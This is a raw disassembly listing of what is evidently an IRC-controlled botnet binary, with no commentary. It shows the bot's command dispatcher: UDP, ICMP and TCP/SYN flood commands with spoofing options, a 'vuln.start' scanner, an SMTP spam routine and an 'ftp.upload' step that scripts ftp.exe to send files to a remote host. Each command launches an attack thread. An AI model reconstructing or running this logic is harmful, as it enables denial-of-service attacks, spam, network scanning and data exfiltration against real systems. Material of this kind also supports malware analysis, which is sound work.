		jz	loc_40B9E2
		push	dword ptr [ebp+18h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B9E2
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+10h], eax
		jz	loc_4093BE
		push	dword ptr [ebp+18h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B68B
		push	dword ptr [ebp+18h]
		push	offset aVvv	; "vvv"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B68B
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B56B
		push	dword ptr [ebp+18h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B56B
		push	dword ptr [ebp+18h]
		push	offset aPu	; "pu"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B56B
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B438
		push	dword ptr [ebp+18h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B438
		push	dword ptr [ebp+18h]
		push	offset aPg	; "pg"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B438
		push	dword ptr [ebp+18h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B2A5
		push	dword ptr [ebp+18h]
		push	offset aUsa	; "usa"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B2A5
		push	dword ptr [ebp+18h]
		push	offset aUtil_email ; "util.email"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B0A6
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_411AD0
		push	dword ptr [ebp+20h]
		call	sub_41098F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_411AD0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_411AD0
		push	offset asc_41E954 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_406518
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_411AD0
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_42F990
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_42FA9C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_42FA98
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-0D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-0D4h], eax
		call	ds:dword_42FA18
		mov	[ebp-0D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		lea	eax, [ebp-0D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F9C0
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_42FA30
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_42FA68
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_42FA30
		push	esi
		call	ds:dword_42FAB0
		call	ds:dword_42F978
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_42B204


loc_40B06D:				; CODE XREF: seg000:0040C0E7j
					; seg000:0040C20Cj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40B07C:				; CODE XREF: seg000:0040A760j
					; seg000:0040A7BAj ...
		cmp	[ebp-8], ebx
		jnz	loc_40DA06
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h
		jmp	loc_40DA06
; ---------------------------------------------------------------------------


loc_40B0A6:				; CODE XREF: seg000:0040AF17j
		push	dword ptr [ebp+18h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B277
		push	dword ptr [ebp+18h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B277
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_4093BE
		push	dword ptr [ebp+18h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DD93
		push	4
		push	esi
		call	sub_4082EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B14C
		push	esi
		push	offset dword_42B1A8


loc_40B10B:				; CODE XREF: seg000:0040B429j
					; seg000:0040B9DDj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_40B11A:				; CODE XREF: seg000:0040B40Dj
					; seg000:0040B9C1j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40B13B
		push	ebx
		push	dword ptr [ebp-4]


loc_40B123:				; CODE XREF: seg000:0040BFFCj
		lea	eax, [ebp-2E4h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40B133:				; CODE XREF: seg000:0040D463j
		call	sub_40DFB2
		add	esp, 14h


loc_40B13B:				; CODE XREF: seg000:0040B11Dj
					; seg000:0040B55Cj ...
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1
		jmp	loc_40DF20
; ---------------------------------------------------------------------------


loc_40B14C:				; CODE XREF: seg000:0040B103j
		call	ds:dword_41C04C	; GetTickCount
		push	eax
		call	sub_410845
		pop	ecx
		call	sub_41084F
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41084F
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41084F
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_411AB2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_4093BE
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_4126AD
		push	dword ptr [ebp+2Ch]
		call	sub_411954
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_4104AF
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_42F98C
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40B216
		push	offset dword_42B128
		jmp	short loc_40B21B
; ---------------------------------------------------------------------------


loc_40B216:				; CODE XREF: seg000:0040B20Dj
		push	offset dword_42B0E8


loc_40B21B:				; CODE XREF: seg000:0040B214j
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40B244
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_40B244:				; CODE XREF: seg000:0040B226j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_407AB1


loc_40B250:				; CODE XREF: seg000:0040B275j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_4082EC
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4093BE
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_412683
		jmp	short loc_40B250
; ---------------------------------------------------------------------------


loc_40B277:				; CODE XREF: seg000:0040B0B7j
					; seg000:0040B0CEj
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_41098F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_404073
		jmp	loc_40DD90
; ---------------------------------------------------------------------------


loc_40B2A5:				; CODE XREF: seg000:0040AEE9j
					; seg000:0040AF00j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41099A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4117C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40B308
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B308
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B308
		push	offset dword_42B0AC
		jmp	loc_40D569
; ---------------------------------------------------------------------------


loc_40B308:				; CODE XREF: seg000:0040B2CEj
					; seg000:0040B2E5j ...
		push	dword ptr [ebp+10h]
		call	sub_41098F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40B42E
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41099A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_41099A
		push	dword ptr [ebp+8]
		call	sub_41098F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_41099A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40B39F
		mov	eax, offset aNormal ; "Normal"


loc_40B39F:				; CODE XREF: seg000:0040B398j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_42B054
		lea	eax, [ebp-2E4h]
		push	200h
		push	eax
		call	sub_41099A
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Ch
		push	eax
		call	sub_40FF5B
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset loc_4013A8
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40B41D


loc_40B407:				; CODE XREF: seg000:0040B41Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40B11A
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40B407
; ---------------------------------------------------------------------------


loc_40B41D:				; CODE XREF: seg000:0040B405j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B008
		jmp	loc_40B10B
; ---------------------------------------------------------------------------


loc_40B42E:				; CODE XREF: seg000:0040B319j
		push	offset dword_42AFBC
		jmp	loc_40D569
; ---------------------------------------------------------------------------


loc_40B438:				; CODE XREF: seg000:0040AEA4j
					; seg000:0040AEBBj ...
		cmp	ds:dword_42FB08, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40B540
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_411C90
		push	dword ptr [ebp+20h]
		call	sub_41098F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41098F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41098F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_411C90
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset unk_42AF60
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Eh
		push	eax
		call	sub_40FF5B
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_406D85
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40B52F


loc_40B51D:				; CODE XREF: seg000:0040B52Dj
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40B559
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40B51D
; ---------------------------------------------------------------------------


loc_40B52F:				; CODE XREF: seg000:0040B51Bj
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AF14
		jmp	loc_40BEF2
; ---------------------------------------------------------------------------


loc_40B540:				; CODE XREF: seg000:0040B441j
		push	1FFh
		lea	eax, [ebp-2E4h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_411C90


loc_40B556:				; CODE XREF: seg000:0040BEFEj
		add	esp, 0Ch


loc_40B559:				; CODE XREF: seg000:0040B523j
					; seg000:0040B66Aj ...
		cmp	[ebp-8], ebx
		jnz	loc_40B13B
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_40D455
; ---------------------------------------------------------------------------


loc_40B56B:				; CODE XREF: seg000:0040AE5Fj
					; seg000:0040AE76j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_411C90
		push	dword ptr [ebp+20h]
		call	sub_41098F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41098F
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41098F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40B5D0
		push	esi
		call	sub_41098F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40B5D6
; ---------------------------------------------------------------------------


loc_40B5D0:				; CODE XREF: seg000:0040B5BFj
		mov	[ebp-2F8h], ebx


loc_40B5D6:				; CODE XREF: seg000:0040B5CEj
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_411C90
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-304h]
		push	offset dword_42AEA0
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	0Fh
		push	eax
		call	sub_40FF5B
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_406F11
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40B67A


loc_40B664:				; CODE XREF: seg000:0040B678j
		cmp	[ebp-2E8h], ebx
		jnz	loc_40B559
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40B664
; ---------------------------------------------------------------------------


loc_40B67A:				; CODE XREF: seg000:0040B662j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42AE54
		jmp	loc_40BEF2
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: seg000:0040AE31j
					; seg000:0040AE48j
		push	8
		call	sub_4101A3
		push	dword ptr [ebp+20h]
		mov	[ebp+18h], eax
		call	sub_41098F
		add	eax, [ebp+18h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40B6DE
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2E4h]
		push	offset dword_42AE00
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2


loc_40B6D6:				; CODE XREF: seg000:0040C86Fj
		add	esp, 20h
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40B6DE:				; CODE XREF: seg000:0040B6A7j
		push	edi
		call	sub_41098F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_41098F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41098F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40B717
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40B717:				; CODE XREF: seg000:0040B70Cj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40B724
		mov	[ebp-318h], ecx


loc_40B724:				; CODE XREF: seg000:0040B71Cj
		push	dword ptr [ebp+10h]
		call	sub_41098F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40B744
		mov	dword ptr [ebp-314h], 1F4h


loc_40B744:				; CODE XREF: seg000:0040B738j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_41F288, ebx
		mov	[ebp+10h], ebx
		jz	short loc_40B79A
		mov	dword ptr [ebp+2Ch], offset dword_41F288


loc_40B75D:				; CODE XREF: seg000:0040B77Cj
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B780
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+10h]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40B75D
		jmp	short loc_40B79A
; ---------------------------------------------------------------------------


loc_40B780:				; CODE XREF: seg000:0040B76Ej
		mov	eax, [ebp+10h]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_41F288[ecx]
		mov	[ebp-31Ch], ecx


loc_40B79A:				; CODE XREF: seg000:0040B754j
					; seg000:0040B77Ej
		cmp	[ebp-31Ch], ebx
		jz	loc_40D178
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40B7E1
		cmp	byte ptr [edi],	23h
		jz	short loc_40B7E1
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_41099A
		push	78h
		push	edi
		call	sub_4126F0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_40B8B5
; ---------------------------------------------------------------------------


loc_40B7E1:				; CODE XREF: seg000:0040B7AFj
					; seg000:0040B7B4j
		cmp	[ebp-9B3h], bl
		jnz	short loc_40B803
		cmp	[ebp-9B2h], bl
		jnz	short loc_40B803
		cmp	[ebp-9A2h], bl
		jnz	short loc_40B803
		push	offset dword_42ADB4
		jmp	loc_40D569
; ---------------------------------------------------------------------------


loc_40B803:				; CODE XREF: seg000:0040B7E7j
					; seg000:0040B7EFj ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-0D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_42F9BC
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-0D4h], eax
		push	dword ptr [ebp-0D4h]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411C90
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_40B8AF
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_411F90
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_40B8A3


loc_40B881:				; CODE XREF: seg000:0040B8A1j
		cmp	eax, ebx
		jz	short loc_40B8A3
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_411F90
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_40B881


loc_40B8A3:				; CODE XREF: seg000:0040B87Fj
					; seg000:0040B883j
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_40B8B5
; ---------------------------------------------------------------------------


loc_40B8AF:				; CODE XREF: seg000:0040B859j
		mov	[ebp-2F0h], ebx


loc_40B8B5:				; CODE XREF: seg000:0040B7DCj
					; seg000:0040B8ADj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_41099A
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40B906


loc_40B8F3:				; CODE XREF: seg000:0040B929j
		push	esi


loc_40B8F4:				; CODE XREF: seg000:0040B913j
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 0Ch
		jmp	short loc_40B931
; ---------------------------------------------------------------------------


loc_40B906:				; CODE XREF: seg000:0040B8F1j
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_40B915
		cmp	byte ptr [eax],	23h
		jnz	short loc_40B915
		push	eax
		jmp	short loc_40B8F4
; ---------------------------------------------------------------------------


loc_40B915:				; CODE XREF: seg000:0040B90Bj
					; seg000:0040B910j
		mov	esi, offset dword_422544
		push	offset byte_42E658
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3
		mov	[ebp-3A0h], bl


loc_40B931:				; CODE XREF: seg000:0040B904j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40B943
		mov	eax, offset aSequential	; "Sequential"


loc_40B943:				; CODE XREF: seg000:0040B93Cj
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2E4h]
		push	offset dword_42AD28
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	8
		push	eax
		call	sub_40FF5B
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_404EF5
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_40B9D1


loc_40B9BB:				; CODE XREF: seg000:0040B9CFj
		cmp	[ebp-2ECh], ebx
		jnz	loc_40B11A
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_40B9BB
; ---------------------------------------------------------------------------


loc_40B9D1:				; CODE XREF: seg000:0040B9B9j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42ACDC
		jmp	loc_40B10B
; ---------------------------------------------------------------------------


loc_40B9E2:				; CODE XREF: seg000:0040ADF1j
					; seg000:0040AE08j
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_434BC0[eax], bl
		jz	loc_40DD93
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	dword ptr [ebp+20h]
		call	sub_410A70
		push	edi
		mov	esi, eax
		call	sub_410A70
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_410A70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4109F0
		mov	esi, eax
		lea	eax, [ebp-2E4h]
		push	esi
		push	offset dword_42ACD0
		push	eax
		call	sub_4104AF
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40DD93
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		push	ebx
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DFB2
		push	edi
		call	sub_41098F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4349A8[eax], 73h
		jnz	loc_40DD93
		push	esi
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434BC0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_40BACA:				; CODE XREF: seg000:0040BBC7j
		lea	eax, [ebp-2E4h]
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40DFB2


loc_40BAEF:				; CODE XREF: seg000:0040D631j
		add	esp, 28h
		jmp	loc_40DD93
; ---------------------------------------------------------------------------


loc_40BAF7:				; CODE XREF: seg000:0040ADC3j
					; seg000:0040ADDAj
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_434BC0[eax], bl
		jz	loc_40DD93
		cmp	[ebp-0Ch], ebx
		jz	loc_40DD93
		push	dword ptr [ebp+20h]
		call	sub_410A70
		push	edi
		mov	esi, eax
		call	sub_410A70
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_410A70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4109F0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40DD93
		push	edi
		call	sub_41098F
		test	eax, eax
		pop	ecx
		jle	loc_40DD93
		push	edi
		call	sub_41098F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40DD93
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_434BB4[eax]
		call	sub_40DFB2
		push	edi
		call	sub_41098F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4349A8[eax], 73h
		jnz	loc_40DD93
		push	esi
		push	edi
		call	sub_41098F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_434BC0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_40BACA
; ---------------------------------------------------------------------------


loc_40BBCC:				; CODE XREF: seg000:0040AD95j
					; seg000:0040ADACj
		push	edi
		call	ds:dword_42FA58
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_41098F
		push	dword ptr [ebp+8]
		mov	[ebp-46Ch], eax
		call	sub_41098F
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
